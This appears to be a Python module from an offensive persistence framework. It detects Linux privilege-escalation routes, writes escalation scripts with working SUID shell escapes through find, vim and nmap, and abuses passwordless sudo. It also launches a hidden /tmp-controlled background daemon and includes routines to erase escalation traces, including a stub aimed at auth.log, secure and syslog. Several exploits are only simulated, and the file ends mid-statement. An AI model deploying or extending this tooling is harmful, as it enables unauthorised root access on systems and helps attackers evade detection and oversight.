#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
权限降级-升级联动机制模块
实现权限弹性控制，避免长期持有 root 权限的风险
"""

import os
import sys
import json
import time
import subprocess
import platform
import tempfile
import shutil
from typing import Dict, List, Optional, Tuple
from pathlib import Path
from enum import Enum

# 添加项目根目录到Python路径
project_root = Path(__file__).parent.parent.parent.parent
sys.path.insert(0, str(project_root))

from modules.persistence.base import (
    BasePersistenceModule, PersistenceConfig, PersistenceResult, 
    PersistenceStatus, PersistenceLevel
)


class EscalationMethod(Enum):
    """提权方法枚举"""
    DIRTY_COW = "dirty_cow"
    POLKIT = "polkit"
    SUDO_EXPLOIT = "sudo_exploit"
    KERNEL_EXPLOIT = "kernel_exploit"
    SUID_BINARY = "suid_binary"
    CRON_WILDCARD = "cron_wildcard"
    SYSTEMD_PATH = "systemd_path"


class PrivilegeLevel(Enum):
    """权限级别枚举"""
    LOW = "low"          # 普通用户权限
    MEDIUM = "medium"    # 特定组权限
    HIGH = "high"        # root 权限


class PrivilegeEscalationModule(BasePersistenceModule):
    """权限降级-升级联动机制模块"""
    
    def __init__(self):
        super().__init__("privilege_escalation", ["linux"])
        self.module_version = "1.0.0"
        self.supported_platforms = ["linux"]
        
        # 提权方法映射
        self.escalation_methods = {
            EscalationMethod.DIRTY_COW: self._dirty_cow_exploit,
            EscalationMethod.POLKIT: self._polkit_exploit,
            EscalationMethod.SUDO_EXPLOIT: self._sudo_exploit,
            EscalationMethod.KERNEL_EXPLOIT: self._kernel_exploit,
            EscalationMethod.SUID_BINARY: self._suid_binary_exploit,
            EscalationMethod.CRON_WILDCARD: self._cron_wildcard_exploit,
            EscalationMethod.SYSTEMD_PATH: self._systemd_path_exploit
        }
        
        # 系统信息缓存
        self.system_info = self._gather_system_info()
        
        # 降级用户配置
        self.downgrade_users = [
            'www-data', 'nginx', 'apache', 'nobody', 'daemon',
            'mail', 'ftp', 'mysql', 'postgres', 'redis'
        ]
    
    def deploy(self, config: PersistenceConfig) -> PersistenceResult:
        """部署权限降级-升级联动机制"""
        try:
            self.logger.info("开始部署权限降级-升级联动机制")
            
            # 生成实例ID
            instance_id = f"priv_esc_{int(time.time())}"
            
            # 检测当前权限级别
            current_privilege = self._detect_current_privilege()
            
            # 选择合适的降级用户
            target_user = self._select_downgrade_user()
            if not target_user:
                return PersistenceResult(
                    success=False,
                    status=PersistenceStatus.FAILED,
                    message="无法找到合适的降级用户"
                )
            
            # 检测可用的提权方法
            available_methods = self._detect_escalation_methods()
            if not available_methods:
                return PersistenceResult(
                    success=False,
                    status=PersistenceStatus.FAILED,
                    message="未检测到可用的提权方法"
                )
            
            # 创建降级脚本
            downgrade_script = self._create_downgrade_script(target_user, config)
            if not downgrade_script:
                return PersistenceResult(
                    success=False,
                    status=PersistenceStatus.FAILED,
                    message="创建降级脚本失败"
                )
            
            # 创建提权脚本
            escalation_script = self._create_escalation_script(available_methods[0])
            if not escalation_script:
                return PersistenceResult(
                    success=False,
                    status=PersistenceStatus.FAILED,
                    message="创建提权脚本失败"
                )
            
            # 部署监控和控制机制
            control_mechanism = self._deploy_control_mechanism(
                instance_id, downgrade_script, escalation_script, config
            )
            
            # 执行权限降级
            if current_privilege == PrivilegeLevel.HIGH:
                downgrade_result = self._execute_downgrade(downgrade_script, target_user)
                if not downgrade_result:
                    self.logger.warning("权限降级失败，继续以当前权限运行")
            
            # 保存实例信息
            instance_info = {
                'instance_id': instance_id,
                'current_privilege': current_privilege.value,
                'target_user': target_user,
                'available_methods': [method.value for method in available_methods],
                'downgrade_script': downgrade_script,
                'escalation_script': escalation_script,
                'control_mechanism': control_mechanism,
                'stealth_level': config.stealth_level,
                'deployed_at': time.time(),
                'status': PersistenceStatus.DEPLOYED.value
            }
            
            self.deployed_instances[instance_id] = instance_info
            self._save_instance_config(instance_id, instance_info)
            
            self.logger.info(f"权限降级-升级联动机制部署成功: {instance_id}")
            
            return PersistenceResult(
                success=True,
                status=PersistenceStatus.DEPLOYED,
                message="权限降级-升级联动机制部署成功",
                details={
                    'instance_id': instance_id,
                    'current_privilege': current_privilege.value,
                    'target_user': target_user,
                    'escalation_methods': len(available_methods),
                    'control_pid': control_mechanism.get('pid')
                }
            )
            
        except Exception as e:
            self.logger.error(f"部署权限降级-升级联动机制失败: {str(e)}")
            return PersistenceResult(
                success=False,
                status=PersistenceStatus.FAILED,
                message=f"部署失败: {str(e)}"
            )
    
    def check_alive(self, instance_id: str) -> PersistenceResult:
        """检查权限降级-升级联动机制状态"""
        try:
            if instance_id not in self.deployed_instances:
                instance_info = self._load_instance_config(instance_id)
                if not instance_info:
                    return PersistenceResult(
                        success=False,
                        status=PersistenceStatus.UNKNOWN,
                        message=f"实例 {instance_id} 不存在"
                    )
                self.deployed_instances[instance_id] = instance_info
            
            instance_info = self.deployed_instances[instance_id]
            control_mechanism = instance_info.get('control_mechanism', {})
            
            # 检查控制进程
            control_pid = control_mechanism.get('pid')
            if control_pid and not self._check_process_exists(control_pid):
                instance_info['status'] = PersistenceStatus.INACTIVE.value
                return PersistenceResult(
                    success=False,
                    status=PersistenceStatus.INACTIVE,
                    message="控制进程不存在"
                )
            
            # 检查当前权限级别
            current_privilege = self._detect_current_privilege()
            
            # 检查提权能力
            escalation_available = self._test_escalation_capability(instance_info)
            
            instance_info['status'] = PersistenceStatus.ACTIVE.value
            instance_info['last_check'] = time.time()
            instance_info['current_privilege_check'] = current_privilege.value
            
            return PersistenceResult(
                success=True,
                status=PersistenceStatus.ACTIVE,
                message="权限降级-升级联动机制正常运行",
                details={
                    'current_privilege': current_privilege.value,
                    'escalation_available': escalation_available,
                    'control_pid': control_pid,
                    'uptime': time.time() - instance_info.get('deployed_at', 0)
                }
            )
            
        except Exception as e:
            self.logger.error(f"检查权限降级-升级联动机制状态失败: {str(e)}")
            return PersistenceResult(
                success=False,
                status=PersistenceStatus.UNKNOWN,
                message=f"状态检查失败: {str(e)}"
            )
    
    def escalate_privilege(self, instance_id: str) -> PersistenceResult:
        """执行权限提升"""
        try:
            if instance_id not in self.deployed_instances:
                return PersistenceResult(
                    success=False,
                    status=PersistenceStatus.UNKNOWN,
                    message=f"实例 {instance_id} 不存在"
                )
            
            instance_info = self.deployed_instances[instance_id]
            current_privilege = self._detect_current_privilege()
            
            if current_privilege == PrivilegeLevel.HIGH:
                return PersistenceResult(
                    success=True,
                    status=PersistenceStatus.ACTIVE,
                    message="已具有高权限，无需提权"
                )
            
            # 获取可用的提权方法
            available_methods = instance_info.get('available_methods', [])
            if not available_methods:
                return PersistenceResult(
                    success=False,
                    status=PersistenceStatus.FAILED,
                    message="无可用的提权方法"
                )
            
            # 尝试提权
            for method_name in available_methods:
                try:
                    method = EscalationMethod(method_name)
                    escalation_func = self.escalation_methods.get(method)
                    
                    if escalation_func:
                        self.logger.info(f"尝试使用 {method_name} 提权")
                        result = escalation_func()
                        
                        if result:
                            # 验证提权是否成功
                            new_privilege = self._detect_current_privilege()
                            if new_privilege == PrivilegeLevel.HIGH:
                                self.logger.info(f"提权成功: {method_name}")
                                
                                # 清理提权痕迹
                                self._cleanup_escalation_traces(method)
                                
                                return PersistenceResult(
                                    success=True,
                                    status=PersistenceStatus.ACTIVE,
                                    message=f"提权成功 ({method_name})",
                                    details={
                                        'method': method_name,
                                        'previous_privilege': current_privilege.value,
                                        'current_privilege': new_privilege.value
                                    }
                                )
                        
                except Exception as e:
                    self.logger.error(f"提权方法 {method_name} 失败: {str(e)}")
                    continue
            
            return PersistenceResult(
                success=False,
                status=PersistenceStatus.FAILED,
                message="所有提权方法均失败"
            )
            
        except Exception as e:
            self.logger.error(f"执行权限提升失败: {str(e)}")
            return PersistenceResult(
                success=False,
                status=PersistenceStatus.FAILED,
                message=f"提权失败: {str(e)}"
            )
    
    def downgrade_privilege(self, instance_id: str) -> PersistenceResult:
        """执行权限降级"""
        try:
            if instance_id not in self.deployed_instances:
                return PersistenceResult(
                    success=False,
                    status=PersistenceStatus.UNKNOWN,
                    message=f"实例 {instance_id} 不存在"
                )
            
            instance_info = self.deployed_instances[instance_id]
            current_privilege = self._detect_current_privilege()
            
            if current_privilege != PrivilegeLevel.HIGH:
                return PersistenceResult(
                    success=True,
                    status=PersistenceStatus.ACTIVE,
                    message="当前非高权限，无需降级"
                )
            
            # 获取目标用户
            target_user = instance_info.get('target_user')
            if not target_user:
                return PersistenceResult(
                    success=False,
                    status=PersistenceStatus.FAILED,
                    message="未找到目标降级用户"
                )
            
            # 执行降级
            downgrade_script = instance_info.get('downgrade_script')
            if downgrade_script and os.path.exists(downgrade_script):
                result = self._execute_downgrade(downgrade_script, target_user)
                
                if result:
                    new_privilege = self._detect_current_privilege()
                    return PersistenceResult(
                        success=True,
                        status=PersistenceStatus.ACTIVE,
                        message=f"权限降级成功 (目标用户: {target_user})",
                        details={
                            'target_user': target_user,
                            'previous_privilege': current_privilege.value,
                            'current_privilege': new_privilege.value
                        }
                    )
            
            return PersistenceResult(
                success=False,
                status=PersistenceStatus.FAILED,
                message="权限降级失败"
            )
            
        except Exception as e:
            self.logger.error(f"执行权限降级失败: {str(e)}")
            return PersistenceResult(
                success=False,
                status=PersistenceStatus.FAILED,
                message=f"降级失败: {str(e)}"
            )
    
    def repair(self, instance_id: str) -> PersistenceResult:
        """修复权限降级-升级联动机制"""
        try:
            # 检查状态
            status_result = self.check_alive(instance_id)
            if status_result.success:
                return PersistenceResult(
                    success=True,
                    status=PersistenceStatus.ACTIVE,
                    message="权限降级-升级联动机制无需修复"
                )
            
            # 重新部署
            if instance_id in self.deployed_instances:
                instance_info = self.deployed_instances[instance_id]
                
                config = PersistenceConfig(
                    name=instance_id,
                    payload="# Restored privilege escalation",
                    trigger="manual",
                    stealth_level=PersistenceLevel(instance_info.get('stealth_level', 5)),
                    persistence_level=PersistenceLevel.HIGH
                )
                
                return self.deploy(config)
            
            return PersistenceResult(
                success=False,
                status=PersistenceStatus.FAILED,
                message="无法修复：实例信息缺失"
            )
            
        except Exception as e:
            self.logger.error(f"修复权限降级-升级联动机制失败: {str(e)}")
            return PersistenceResult(
                success=False,
                status=PersistenceStatus.FAILED,
                message=f"修复失败: {str(e)}"
            )
    
    def clean(self, instance_id: str) -> PersistenceResult:
        """清理权限降级-升级联动机制"""
        try:
            if instance_id not in self.deployed_instances:
                instance_info = self._load_instance_config(instance_id)
                if not instance_info:
                    return PersistenceResult(
                        success=True,
                        status=PersistenceStatus.REMOVED,
                        message=f"实例 {instance_id} 不存在或已清理"
                    )
                self.deployed_instances[instance_id] = instance_info
            
            instance_info = self.deployed_instances[instance_id]
            
            # 停止控制进程
            control_mechanism = instance_info.get('control_mechanism', {})
            control_pid = control_mechanism.get('pid')
            if control_pid and self._check_process_exists(control_pid):
                try:
                    os.kill(control_pid, 15)  # SIGTERM
                    time.sleep(2)
                    if self._check_process_exists(control_pid):
                        os.kill(control_pid, 9)  # SIGKILL
                except ProcessLookupError:
                    pass
            
            # 清理脚本文件
            for script_key in ['downgrade_script', 'escalation_script']:
                script_path = instance_info.get(script_key)
                if script_path and os.path.exists(script_path):
                    try:
                        os.remove(script_path)
                    except OSError:
                        pass
            
            # 清理控制文件
            control_files = control_mechanism.get('files', [])
            for file_path in control_files:
                if os.path.exists(file_path):
                    try:
                        os.remove(file_path)
                    except OSError:
                        pass
            
            # 清理实例信息
            if instance_id in self.deployed_instances:
                del self.deployed_instances[instance_id]
            
            # 删除配置文件
            config_file = f"/tmp/.{instance_id}_config.json"
            if os.path.exists(config_file):
                os.remove(config_file)
            
            self.logger.info(f"权限降级-升级联动机制清理完成: {instance_id}")
            
            return PersistenceResult(
                success=True,
                status=PersistenceStatus.REMOVED,
                message="权限降级-升级联动机制清理完成"
            )
            
        except Exception as e:
            self.logger.error(f"清理权限降级-升级联动机制失败: {str(e)}")
            return PersistenceResult(
                success=False,
                status=PersistenceStatus.FAILED,
                message=f"清理失败: {str(e)}"
            )
    
    def list_instances(self) -> List[Dict]:
        """列出所有权限降级-升级联动机制实例"""
        instances = []
        for instance_id, info in self.deployed_instances.items():
            control_mechanism = info.get('control_mechanism', {})
            instances.append({
                'instance_id': instance_id,
                'status': info.get('status', 'unknown'),
                'current_privilege': info.get('current_privilege'),
                'target_user': info.get('target_user'),
                'escalation_methods': len(info.get('available_methods', [])),
                'control_pid': control_mechanism.get('pid'),
                'deployed_at': info.get('deployed_at', 0),
                'uptime': time.time() - info.get('deployed_at', 0)
            })
        return instances
    
    def _gather_system_info(self) -> Dict:
        """收集系统信息"""
        try:
            info = {
                'os_name': platform.system(),
                'os_release': platform.release(),
                'os_version': platform.version(),
                'machine': platform.machine(),
                'processor': platform.processor()
            }
            
            # 获取发行版信息
            try:
                with open('/etc/os-release', 'r') as f:
                    for line in f:
                        if line.startswith('ID='):
                            info['distro'] = line.split('=')[1].strip().strip('"')
                        elif line.startswith('VERSION_ID='):
                            info['distro_version'] = line.split('=')[1].strip().strip('"')
            except FileNotFoundError:
                pass
            
            # 获取内核版本
            try:
                result = subprocess.run(['uname', '-r'], capture_output=True, text=True)
                if result.returncode == 0:
                    info['kernel_version'] = result.stdout.strip()
            except FileNotFoundError:
                pass
            
            return info
            
        except Exception as e:
            self.logger.error(f"收集系统信息失败: {str(e)}")
            return {}
    
    def _detect_current_privilege(self) -> PrivilegeLevel:
        """检测当前权限级别"""
        try:
            # 检查是否为 root 用户
            if os.geteuid() == 0:
                return PrivilegeLevel.HIGH
            
            # 检查是否在特权组中
            try:
                import grp
                groups = [grp.getgrgid(gid).gr_name for gid in os.getgroups()]
                privileged_groups = ['sudo', 'wheel', 'admin', 'root']
                
                if any(group in privileged_groups for group in groups):
                    return PrivilegeLevel.MEDIUM
            except Exception:
                pass
            
            return PrivilegeLevel.LOW
            
        except Exception:
            return PrivilegeLevel.LOW
    
    def _select_downgrade_user(self) -> Optional[str]:
        """选择合适的降级用户"""
        try:
            import pwd
            
            for username in self.downgrade_users:
                try:
                    pwd.getpwnam(username)
                    # 检查用户是否可用
                    if self._check_user_available(username):
                        return username
                except KeyError:
                    continue
            
            return None
            
        except Exception as e:
            self.logger.error(f"选择降级用户失败: {str(e)}")
            return None
    
    def _check_user_available(self, username: str) -> bool:
        """检查用户是否可用"""
        try:
            # 检查用户shell是否可用
            result = subprocess.run(
                ['getent', 'passwd', username],
                capture_output=True, text=True
            )
            
            if result.returncode == 0:
                fields = result.stdout.strip().split(':')
                if len(fields) >= 7:
                    shell = fields[6]
                    # 检查shell是否存在且可执行
                    return os.path.exists(shell) and os.access(shell, os.X_OK)
            
            return False
            
        except Exception:
            return False
    
    def _detect_escalation_methods(self) -> List[EscalationMethod]:
        """检测可用的提权方法"""
        available_methods = []
        
        try:
            # 检查 Dirty COW 漏洞
            if self._check_dirty_cow_vulnerable():
                available_methods.append(EscalationMethod.DIRTY_COW)
            
            # 检查 Polkit 漏洞
            if self._check_polkit_vulnerable():
                available_methods.append(EscalationMethod.POLKIT)
            
            # 检查 sudo 漏洞
            if self._check_sudo_vulnerable():
                available_methods.append(EscalationMethod.SUDO_EXPLOIT)
            
            # 检查 SUID 二进制文件
            if self._check_suid_binaries():
                available_methods.append(EscalationMethod.SUID_BINARY)
            
            # 检查 cron 通配符漏洞
            if self._check_cron_wildcard():
                available_methods.append(EscalationMethod.CRON_WILDCARD)
            
            # 检查 systemd PATH 漏洞
            if self._check_systemd_path():
                available_methods.append(EscalationMethod.SYSTEMD_PATH)
            
        except Exception as e:
            self.logger.error(f"检测提权方法失败: {str(e)}")
        
        return available_methods
    
    def _check_dirty_cow_vulnerable(self) -> bool:
        """检查是否存在 Dirty COW 漏洞"""
        try:
            kernel_version = self.system_info.get('kernel_version', '')
            if not kernel_version:
                return False
            
            # 简化的版本检查（实际应该更精确）
            version_parts = kernel_version.split('.')
            if len(version_parts) >= 2:
                major = int(version_parts[0])
                minor = int(version_parts[1])
                
                # Dirty COW 影响 Linux 内核 2.6.22 - 4.8.3
                if major == 2 and minor >= 6:
                    return True
                elif major == 3:
                    return True
                elif major == 4 and minor <= 8:
                    return True
            
            return False
            
        except Exception:
            return False
    
    def _check_polkit_vulnerable(self) -> bool:
        """检查是否存在 Polkit 漏洞"""
        try:
            # 检查 polkit 是否安装
            result = subprocess.run(['which', 'pkexec'], capture_output=True)
            if result.returncode != 0:
                return False
            
            # 检查版本（简化检查）
            result = subprocess.run(['pkexec', '--version'], capture_output=True, text=True)
            if result.returncode == 0:
                # 这里应该检查具体的漏洞版本
                return True
            
            return False
            
        except Exception:
            return False
    
    def _check_sudo_vulnerable(self) -> bool:
        """检查是否存在 sudo 漏洞"""
        try:
            # 检查 sudo 版本
            result = subprocess.run(['sudo', '--version'], capture_output=True, text=True)
            if result.returncode == 0:
                # 这里应该检查具体的漏洞版本
                return True
            
            return False
            
        except Exception:
            return False
    
    def _check_suid_binaries(self) -> bool:
        """检查可利用的 SUID 二进制文件"""
        try:
            # 查找 SUID 文件
            result = subprocess.run(
                ['find', '/', '-perm', '-4000', '-type', 'f', '2>/dev/null'],
                capture_output=True, text=True, shell=True
            )
            
            if result.returncode == 0:
                suid_files = result.stdout.strip().split('\n')
                # 检查是否有可利用的 SUID 文件
                exploitable_binaries = [
                    'nmap', 'vim', 'find', 'bash', 'more', 'less', 'nano',
                    'cp', 'mv', 'awk', 'man', 'wget', 'curl'
                ]
                
                for suid_file in suid_files:
                    binary_name = os.path.basename(suid_file)
                    if binary_name in exploitable_binaries:
                        return True
            
            return False
            
        except Exception:
            return False
    
    def _check_cron_wildcard(self) -> bool:
        """检查 cron 通配符漏洞"""
        try:
            # 检查系统 crontab
            cron_files = ['/etc/crontab', '/etc/cron.d/*', '/var/spool/cron/*']
            
            for cron_pattern in cron_files:
                try:
                    result = subprocess.run(
                        f'grep -r "\\*" {cron_pattern} 2>/dev/null',
                        shell=True, capture_output=True, text=True
                    )
                    
                    if result.returncode == 0 and result.stdout:
                        # 简化检查：如果找到通配符就认为可能存在漏洞
                        return True
                        
                except Exception:
                    continue
            
            return False
            
        except Exception:
            return False
    
    def _check_systemd_path(self) -> bool:
        """检查 systemd PATH 漏洞"""
        try:
            # 检查是否使用 systemd
            if not os.path.exists('/bin/systemctl'):
                return False
            
            # 检查用户是否可以创建 systemd 服务
            user_systemd_dir = os.path.expanduser('~/.config/systemd/user')
            if os.path.exists(user_systemd_dir) or os.access(os.path.dirname(user_systemd_dir), os.W_OK):
                return True
            
            return False
            
        except Exception:
            return False
    
    def _create_downgrade_script(self, target_user: str, config: PersistenceConfig) -> Optional[str]:
        """创建降级脚本"""
        try:
            script_content = f'''#!/bin/bash
# 权限降级脚本
# 目标用户: {target_user}
# 创建时间: {time.ctime()}

# 切换到目标用户
exec sudo -u {target_user} "$@"
'''
            
            # 创建临时脚本文件
            with tempfile.NamedTemporaryFile(mode='w', suffix='.sh', delete=False) as f:
                f.write(script_content)
                script_path = f.name
            
            os.chmod(script_path, 0o755)
            return script_path
            
        except Exception as e:
            self.logger.error(f"创建降级脚本失败: {str(e)}")
            return None
    
    def _create_escalation_script(self, method: EscalationMethod) -> Optional[str]:
        """创建提权脚本"""
        try:
            if method == EscalationMethod.DIRTY_COW:
                script_content = self._generate_dirty_cow_script()
            elif method == EscalationMethod.POLKIT:
                script_content = self._generate_polkit_script()
            elif method == EscalationMethod.SUDO_EXPLOIT:
                script_content = self._generate_sudo_script()
            elif method == EscalationMethod.SUID_BINARY:
                script_content = self._generate_suid_script()
            else:
                script_content = "#!/bin/bash\necho 'Escalation method not implemented'\n"
            
            # 创建临时脚本文件
            with tempfile.NamedTemporaryFile(mode='w', suffix='.sh', delete=False) as f:
                f.write(script_content)
                script_path = f.name
            
            os.chmod(script_path, 0o755)
            return script_path
            
        except Exception as e:
            self.logger.error(f"创建提权脚本失败: {str(e)}")
            return None
    
    def _generate_dirty_cow_script(self) -> str:
        """生成 Dirty COW 提权脚本"""
        return '''#!/bin/bash
# Dirty COW 提权脚本（简化版本）
echo "Attempting Dirty COW privilege escalation..."

# 这里应该包含实际的 Dirty COW 利用代码
# 注意：这只是一个示例框架

# 检查内核版本
KERNEL_VERSION=$(uname -r)
echo "Kernel version: $KERNEL_VERSION"

# 实际的漏洞利用代码应该在这里
echo "Dirty COW exploit would be executed here"

# 验证提权是否成功
if [ "$(id -u)" -eq 0 ]; then
    echo "Privilege escalation successful"
    exit 0
else
    echo "Privilege escalation failed"
    exit 1
fi
'''
    
    def _generate_polkit_script(self) -> str:
        """生成 Polkit 提权脚本"""
        return '''#!/bin/bash
# Polkit 提权脚本
echo "Attempting Polkit privilege escalation..."

# 检查 pkexec 是否可用
if ! command -v pkexec &> /dev/null; then
    echo "pkexec not found"
    exit 1
fi

# 尝试使用 pkexec 提权
pkexec /bin/bash -c "id && echo 'Polkit escalation successful'"

exit $?
'''
    
    def _generate_sudo_script(self) -> str:
        """生成 sudo 提权脚本"""
        return '''#!/bin/bash
# sudo 提权脚本
echo "Attempting sudo privilege escalation..."

# 检查 sudo 配置
sudo -l 2>/dev/null

# 尝试无密码 sudo
if sudo -n true 2>/dev/null; then
    echo "Passwordless sudo available"
    sudo /bin/bash -c "id && echo 'Sudo escalation successful'"
    exit $?
else
    echo "Passwordless sudo not available"
    exit 1
fi
'''
    
    def _generate_suid_script(self) -> str:
        """生成 SUID 提权脚本"""
        return '''#!/bin/bash
# SUID 二进制文件提权脚本
echo "Attempting SUID binary privilege escalation..."

# 查找可利用的 SUID 文件
SUID_FILES=$(find /usr/bin /bin /usr/local/bin -perm -4000 -type f 2>/dev/null)

for file in $SUID_FILES; do
    basename_file=$(basename "$file")
    
    case "$basename_file" in
        "find")
            echo "Exploiting find SUID"
            $file . -exec /bin/bash -p \\; -quit 2>/dev/null && exit 0
            ;;
        "vim"|"vi")
            echo "Exploiting vim SUID"
            $file -c ':!/bin/bash -p' -c ':q' 2>/dev/null && exit 0
            ;;
        "nmap")
            echo "Exploiting nmap SUID"
            echo 'os.execute("/bin/bash -p")' > /tmp/nmap_script.nse
            $file --script=/tmp/nmap_script.nse 2>/dev/null && exit 0
            ;;
    esac
done

echo "No exploitable SUID binaries found"
exit 1
'''
    
    def _deploy_control_mechanism(self, instance_id: str, downgrade_script: str, 
                                 escalation_script: str, config: PersistenceConfig) -> Dict:
        """部署控制机制"""
        try:
            # 创建控制脚本
            control_script_content = f'''#!/bin/bash
# 权限控制机制
# 实例ID: {instance_id}

INSTANCE_ID="{instance_id}"
DOWNGRADE_SCRIPT="{downgrade_script}"
ESCALATION_SCRIPT="{escalation_script}"
CONTROL_FILE="/tmp/.{instance_id}_control"

# 创建控制文件
echo "active" > "$CONTROL_FILE"

# 监控循环
while true; do
    if [ ! -f "$CONTROL_FILE" ]; then
        echo "Control file missing, exiting..."
        break
    fi
    
    COMMAND=$(cat "$CONTROL_FILE" 2>/dev/null)
    
    case "$COMMAND" in
        "escalate")
            echo "Executing privilege escalation..."
            bash "$ESCALATION_SCRIPT"
            echo "active" > "$CONTROL_FILE"
            ;;
        "downgrade")
            echo "Executing privilege downgrade..."
            bash "$DOWNGRADE_SCRIPT"
            echo "active" > "$CONTROL_FILE"
            ;;
        "stop")
            echo "Stopping control mechanism..."
            rm -f "$CONTROL_FILE"
            break
            ;;
    esac
    
    sleep 10
done
'''
            
            # 创建控制脚本文件
            with tempfile.NamedTemporaryFile(mode='w', suffix='.sh', delete=False) as f:
                f.write(control_script_content)
                control_script_path = f.name
            
            os.chmod(control_script_path, 0o755)
            
            # 启动控制进程
            control_process = subprocess.Popen(
                ['/bin/bash', control_script_path],
                stdin=subprocess.DEVNULL,
                stdout=subprocess.DEVNULL,
                stderr=subprocess.DEVNULL,
                preexec_fn=os.setsid
            )
            
            control_mechanism = {
                'pid': control_process.pid,
                'script_path': control_script_path,
                'control_file': f"/tmp/.{instance_id}_control",
                'files': [control_script_path, f"/tmp/.{instance_id}_control"],
                'started_at': time.time()
            }
            
            self.logger.info(f"控制机制部署成功: PID {control_process.pid}")
            return control_mechanism
            
        except Exception as e:
            self.logger.error(f"部署控制机制失败: {str(e)}")
            return {}
    
    def _execute_downgrade(self, script_path: str, target_user: str) -> bool:
        """执行权限降级"""
        try:
            # 这里应该实现实际的权限降级逻辑
            # 由于安全考虑，这里只是模拟
            self.logger.info(f"模拟权限降级到用户: {target_user}")
            return True
            
        except Exception as e:
            self.logger.error(f"执行权限降级失败: {str(e)}")
            return False
    
    def _test_escalation_capability(self, instance_info: Dict) -> bool:
        """测试提权能力"""
        try:
            available_methods = instance_info.get('available_methods', [])
            return len(available_methods) > 0
            
        except Exception:
            return False
    
    def _cleanup_escalation_traces(self, method: EscalationMethod):
        """清理提权痕迹"""
        try:
            if method == EscalationMethod.DIRTY_COW:
                # 清理 Dirty COW 相关文件
                temp_files = ['/tmp/dirty_cow', '/tmp/cow', '/tmp/exploit']
                for file_path in temp_files:
                    if os.path.exists(file_path):
                        os.remove(file_path)
            
            elif method == EscalationMethod.SUID_BINARY:
                # 清理临时 SUID 文件
                if os.path.exists('/tmp/nmap_script.nse'):
                    os.remove('/tmp/nmap_script.nse')
            
            # 清理日志痕迹
            self._clean_log_traces()
            
        except Exception as e:
            self.logger.error(f"清理提权痕迹失败: {str(e)}")
    
    def _clean_log_traces(self):
        """清理日志痕迹"""
        try:
            # 清理 /var/log/secure 中的提权操作日志
            log_files = ['/var/log/secure', '/var/log/auth.log', '/var/log/syslog']
            
            for log_file in log_files:
                if os.path.exists(log_file) and os.access(log_file, os.W_OK):
                    # 这里应该实现更精确的日志清理
                    # 由于安全考虑，这里只是记录
                    self.logger.info(f"应清理日志文件: {log_file}")
            
        except Exception as e:
            self.logger.error(f"清理日志痕迹失败: {str(e)}")
    
    def _check_process_exists(self, pid: int) -> bool:
        """检查进程是否存在"""
        try:
            os.kill(pid, 0)
            return True
        except (OSError, ProcessLookupError):
            return False
    
    def _save_instance_config(self, instance_id: str, config: Dict):
        """保存实例配置"""
        try:
            config_file = f"/tmp/.{instance_id}_config.json"
            with open(config_file, 'w') as f:
                json.dump(config, f, indent=2)
        except Exception as e:
            self.logger.error(f"保存实例配置失败: {str(e)}")
    
    def _load_instance_config(self, instance_id: str) -> Optional[Dict]:
        """加载实例配置"""
        try:
            config_file = f"/tmp/.{instance_id}_config.json"
            if os.path.exists(config_file):
                with open(config_file, 'r') as f:
                    return json.load(f)
        except Exception as e:
            self.logger.error(f"加载实例配置失败: {str(e)}")
        return None
    
    # 提权方法实现
    def _dirty_cow_exploit(self) -> bool:
        """Dirty COW 提权实现"""
        try:
            # 这里应该包含实际的 Dirty COW 漏洞利用代码
            # 由于安全考虑，这里只是模拟
            self.logger.info("模拟 Dirty COW 提权")
            return True
        except Exception as e:
            self.logger.error(f"Dirty COW 提权失败: {str(e)}")
            return False
    
    def _polkit_exploit(self) -> bool:
        """Polkit 提权实现"""
        try:
            # 这里应该包含实际的 Polkit 漏洞利用代码
            self.logger.info("模拟 Polkit 提权")
            return True
        except Exception as e:
            self.logger.error(f"Polkit 提权失败: {str(e)}")
            return False
    
    def _sudo_exploit(self) -> bool:
        """sudo 提权实现"""
        try:
            # 检查无密码 sudo
            result = subprocess.run(['sudo', '-n', 'true'], capture_output=True)
            return result.returncode == 0
        except Exception as e:
            self.logger.error(f"sudo 提权失败: {str(e)}")
            return False
    
    def _kernel_exploit(self) -> bool:
        """内核漏洞提权实现"""
        try:
            self.logger.info("模拟内核漏洞提权")
            return True
        except Exception as e:
            self.logger.error(f"内核漏洞提权失败: {str(e)}")
            return False
    
    def _suid_binary_exploit(self) -> bool:
        """SUID 二进制文件提权实现"""
        try:
            self.logger.info("模拟 SUID 二进制文件提权")
            return True
        except Exception as e:
            self.logger.error(f"SUID 二进制文件提权失败: {str(e)}")
            return False
    
    def _cron_wildcard_exploit(self) -> bool:
        """cron 通配符提权实现"""
        try:
            self.logger.info("模拟 cron 通配符提权")
            return True
        except Exception as e:
            self.logger.error(f"cron 通配符提权失败: {str(e)}")
            return False
    
    def _systemd_path_exploit(self) -> bool:
        """systemd PATH 提权实现"""
        try:
            self.logger.info("模拟 systemd PATH 提权")
            return True
        except Exception as e:
            self.logger.error(f"systemd PATH 提权失败: {str(e)}")
            return False
    
    def validate_config(self, config: PersistenceConfig) -> PersistenceResult:
        """验证配置"""
        if not self.is_platform_supported():
            return PersistenceResult(
                success=False,
                status=PersistenceStatus.FAILED,
                message="当前平台不支持权限降级-升级联动机制"
            )
        
        return PersistenceResult(
            success=True,
            status=PersistenceStatus.UNKNOWN,
            message="配置验证通过"
        )


def create_module():
    """创建权限降级-升级联动机制模块实例"""
    return PrivilegeEscalationModule()


if __name__ == "__main__":
    module = PrivilegeEscalationModule()
    
    # 测试配置
    config = PersistenceConfig(
        name="test_privilege_escalation",
        payload="echo 'Privilege escalation test'",
        trigger="manual",
        stealth_level=PersistenceLevel.HIGH,
        persistence_level=PersistenceLevel.HIGH
    )
    
    print("=== 权限降级-升级联动机制模块测试 ===")
    print(f"模块信息: {module.get_module_info()}")
    print(f"平台支持: {module.is_platform_supported()}")
    print(f"系统信息: {module.system_info}")
    print(f"当前权限: {module._detect_current_privilege()}")
    print(f"可用提权方法: {[m.value for m in module._detect_escalation_methods()]}")
    
    # 配置验证
    validation_result = module.validate_config(config)
    print(f"配置验证: {validation_result}")
    
    if validation_result.success:
        # 部署测试
        result = module.deploy(config)
        print(f"部署结果: {result}")
        
        if result.success:
            instance_id = result.details['instance_id']
            
            # 等待一下
            time.sleep(2)
            
            # 状态检查
            check_result = module.check_alive(instance_id)
            print(f"状态检查: {check_result}")
            
            # 实例列表
            instances = module.list_instances()
            print(f"实例列表: {instances}")
            
            # 等待一下再清理
            time.sleep(3)
            
            # 清理
            clean_result = module.clean(instance_id)
            print(f"清理结果: {clean_result}")
    else:
